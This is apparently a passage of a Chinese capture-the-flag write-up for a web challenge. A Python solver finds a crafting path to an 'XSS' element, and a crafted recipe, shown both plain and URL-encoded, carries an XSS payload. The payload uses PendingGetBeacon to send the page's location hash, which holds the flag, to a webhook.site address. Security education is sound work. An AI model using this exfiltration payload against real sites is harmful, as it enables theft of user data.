has = ["Fire", "Water", "Earth", "Air"]


# 存路线
luxian = []


def find_has(item):
global graph, has, luxian
# 如果该元素已经拥有, 则没必要再找了
if item in has:
return item
# 如果不是, 从图中寻找合成元素
item_f, item_m = graph[item][0], graph[item][1]
# 已经前去寻找合成路线了, 所以可以看作该元素已拥有
has.append(item)

next = [find_has(item_f), find_has(item_m)]
# 如果"原料"都已拥有, 则添加路线
if item_f in has and item_m in has:
luxian.append(f"{item_f}+{item_m}={item}")

return next


print(find_has("XSS"))

for i in luxian:
print(i)

这里找到了合成路线如下:

1
["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]

然后根据assert的条件,recipe必须是个数组,可以得到:

1
{"recipe":[["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]]}

然后放xss,这里由于要一个https的网址,所以我选用了webhook:

webhook

1
{"recipe":[["Earth","Fire"],["Earth","Water"],["Magma","Mud"],["Earth","Obsidian"],["Obsidian","Water"],["Air","Water"],["Fire","Mist"],["Fog","Mud"],["Hot Spring","Sludge"],["Computer Chip","Steam Engine"],["Computer Chip","Fire"],["Artificial Intelligence","Data"],["Hot Spring","Steam Engine"],["Computer Chip","Electricity"],["Encryption","Software"],["Air","Earth"],["Fire","Steam Engine"],["Dust","Heat Engine"],["Fire","Sand"],["Glass","Software"],["Cybersecurity","Vulnerability"],["Magma","Mist"],["Air","Rock"],["Computer Chip","Software"],["Internet","Program"],["Exploit","Web Design"]],"xss":"new PendingGetBeacon('https://webhook.site/a3588472-7e2e-48f9-9ed4-f0518d00be91/?res=' + window.location.hash.slice(1), {timeout:1000});"}

打到/remoteCraft?recipe=处:

这里要urlencode一下

1
remoteCraft?recipe=%7B%22recipe%22%3A%5B%5B%22Earth%22%2C%22Fire%22%5D%2C%5B%22Earth%22%2C%22Water%22%5D%2C%5B%22Magma%22%2C%22Mud%22%5D%2C%5B%22Earth%22%2C%22Obsidian%22%5D%2C%5B%22Obsidian%22%2C%22Water%22%5D%2C%5B%22Air%22%2C%22Water%22%5D%2C%5B%22Fire%22%2C%22Mist%22%5D%2C%5B%22Fog%22%2C%22Mud%22%5D%2C%5B%22Hot%20Spring%22%2C%22Sludge%22%5D%2C%5B%22Computer%20Chip%22%2C%22Steam%20Engine%22%5D%2C%5B%22Computer%20Chip%22%2C%22Fire%22%5D%2C%5B%22Artificial%20Intelligence%22%2C%22Data%22%5D%2C%5B%22Hot%20Spring%22%2C%22Steam%20Engine%22%5D%2C%5B%22Computer%20Chip%22%2C%22Electricity%22%5D%2C%5B%22Encryption%22%2C%22Software%22%5D%2C%5B%22Air%22%2C%22Earth%22%5D%2C%5B%22Fire%22%2C%22Steam%20Engine%22%5D%2C%5B%22Dust%22%2C%22Heat%20Engine%22%5D%2C%5B%22Fire%22%2C%22Sand%22%5D%2C%5B%22Glass%22%2C%22Software%22%5D%2C%5B%22Cybersecurity%22%2C%22Vulnerability%22%5D%2C%5B%22Magma%22%2C%22Mist%22%5D%2C%5B%22Air%22%2C%22Rock%22%5D%2C%5B%22Computer%20Chip%22%2C%22Software%22%5D%2C%5B%22Internet%22%2C%22Program%22%5D%2C%5B%22Exploit%22%2C%22Web%20Design%22%5D%5D%2C%22xss%22%3A%22new%20PendingGetBeacon('https%3A%2F%2Fwebhook.site%2Fa3588472-7e2e-48f9-9ed4-f0518d00be91%2F%3Fres%3D'%20%2B%20window.location.hash.slice(1)%2C%20%7Btimeout%3A1000%7D)%3B%22%7D

回到webhook已经收到res请求了

对它base64解码即可出flag